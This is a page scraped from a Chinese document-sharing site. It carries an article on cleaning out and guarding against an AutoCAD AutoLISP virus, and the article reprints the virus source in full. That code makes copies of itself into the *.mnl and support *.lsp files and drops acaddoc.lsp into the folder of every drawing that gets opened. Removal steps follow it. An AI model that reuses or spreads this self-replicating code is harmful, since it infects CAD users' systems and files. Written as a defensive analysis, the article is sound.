




下载本文档
版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领
文档简介
1、一种CAD病毒的清除与防范措施雪山飞猪 QQ534455近来又出现一种AutoCAD病毒,该病毒与以往CAD病毒不同。干净的CAD系统当打开DWG图时,如果该图所在目录下有ACADDOC.LSP文件(基本为病毒传播文件),ACADDOC.LSP就会运行。1. 病毒的特征与传播方式我们先看看病毒代码,代码如下:(setq flagx t)(setq bz "(setq flagx t)")(defun app(source target bz / flag flag1 wjm wjm1 text) (setq flag nil) (setq flag1 t) (if (fin
2、dfile target) (progn (setq wjm1 (open target "r") (while (setq text (read-line wjm1)(if (= text bz) (setq flag1 nil);while (close wjm1) );progn );if (if flag1 (progn (setq wjm (open source "r") (setq wjm1 (open target "a") (write-line (chr 13) wjm1) (while (setq text (r
3、ead-line wjm)(if (= text bz) (setq flag t)(if flag (progn (write-line text wjm1) );progn );if);while (close wjm1) (close wjm) );progn );if );defun(setvar "cmdecho" 0)(setq acadmnl (findfile "acad.mnl")(setq acadmnlpath (vl-filename-directory acadmnl)(setq mnlfilelist (vl-director
4、y-files acadmnlpath "*.mnl")(setq mnlnum (length mnlfilelist)(setq acadexe (findfile "acad.exe")(setq acadpath (vl-filename-directory acadexe)(setq support (strcat acadpath "support")(setq lspfilelist (vl-directory-files support "*.lsp")(setq lspfilelist (appe
5、nd lspfilelist (list "acaddoc.lsp")(setq lspnum (length lspfilelist)(setq dwgname (getvar "dwgname")(setq dwgpath (findfile dwgname)(if dwgpath (progn (setq acaddocpath (vl-filename-directory dwgpath) (setq acaddocfile (strcat acaddocpath "acaddoc.lsp") (setq mnln 0) (w
6、hile (< mnln mnlnum) (setq mnlfilename (strcat acadmnlpath "" (nth mnln mnlfilelist) (app mnlfilename acaddocfile bz) (app acaddocfile mnlfilename bz) (setq mnln (1+ mnln) );while (setq lspn 0) (while (< lspn lspnum) (setq lspfilename (strcat support "" (nth lspn lspfilelis
7、t) (app lspfilename acaddocfile bz) (app acaddocfile lspfilename bz) (setq lspn (1+ lspn) );while );progn );if(setq mnln 0)(while (< mnln mnlnum) (setq mnlfilename (strcat acadmnlpath "" (nth mnln mnlfilelist) (setq mnln1 0) (while (< mnln1 mnlnum) (setq mnlfilename1 (strcat acadmnlp
8、ath "" (nth mnln1 mnlfilelist) (app mnlfilename mnlfilename1 bz) (setq mnln1 (1+ mnln1) );while (setq lspn1 0) (while (< lspn1 lspnum) (setq lspfilename1 (strcat support "" (nth lspn1 lspfilelist) (app mnlfilename lspfilename1 bz) (setq lspn1 (1+ lspn1) );while (setq mnln (1+
9、mnln) );while(setq lspn 0)(while (< lspn lspnum) (setq lspfilename (strcat support "" (nth lspn lspfilelist) (setq lspn1 0) (while (< lspn1 lspnum) (setq lspfilename1 (strcat support "" (nth lspn1 lspfilelist) (app lspfilename lspfilename1 bz) (setq lspn1 (1+ lspn1) );while
10、 (setq mnln1 0) (while (< mnln1 mnlnum) (setq mnlfilename1 (strcat acadmnlpath "" (nth mnln1 mnlfilelist) (app lspfilename mnlfilename1 bz) (setq mnln1 (1+ mnln1) );while (setq lspn (1+ lspn)(load "acadapq")(princ)(load "acadapp")(princ)(load "acadapq")(pri
11、nc)病毒代码运行后,首先会把病毒代码写入CAD用户系统目录下的*.mnl文件和CAD的support目录下的*.lsp文件中。support目录下的ACADDOC.LSP文件可能会被杀毒软件杀掉,但写入其他mnl和lsp文件中的病毒代码并未被清除,这就是为什么杀毒软件不能彻底杀CAD病毒的原因。染毒后的病毒会在打开的DWG文件的目录下把病毒代码附加在ACADDOC.LSP文件的尾部,如无ACADDOC.LSP文件就会创建新的并把病毒代码附加上。从上我们可以看出,如在打开的DWG文件目录下有含病毒代码的ACADDOC.LSP文件,CAD病毒就会传播开。2. 病毒的清除用写字板编辑中毒的mnl和lsp文件,从头开始找发现第一个(setq flagx t)时,把其及以后的代码通通去掉。举例说明,我的CAD系统有两个目录会有染毒文件,一是C:Documents and SettingsXXXApplication DataAutodeskAutoCAD Mechanical 2011R18.1chsSu
温馨提示
- 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
- 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
- 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
- 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
- 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
- 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
- 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。
最新文档
- 工程施工保险理赔服务3篇
- 买房授权委托书填写说明3篇
- 劳动合同试用期管理教案3篇
- 废钢购销合同范例3篇
- 传承中华经典文化演讲稿(4篇)
- 小学生交通安全教育演讲稿(5篇)
- 个人银行信用借款合同(16篇)
- 2024年天津市津南区规划设计所招聘相关岗位制人员考试真题
- 2024年四平市民族宗教事务服务中心选调工作人员考试真题
- 2024年江苏南京紫金山科技产业发展集团有限公司招聘考试真题
- 内分泌系统 肾上腺 (人体解剖生理学课件)
- GPS静态数据观测记录表
- 山西省城镇教师支援农村教育工作登记表
- 软件项目周报模板
- 著名中医妇科 夏桂成教授补肾调周法
- VSM(价值流图中文)课件
- 考古发掘中文物的采集与保存课件
- 人工气道的护理刘亚课件
- 专业技术人员
- 拌和场安全检查表
- 节日主题班会 《感恩母亲节》教学课件
评论
0/150
提交评论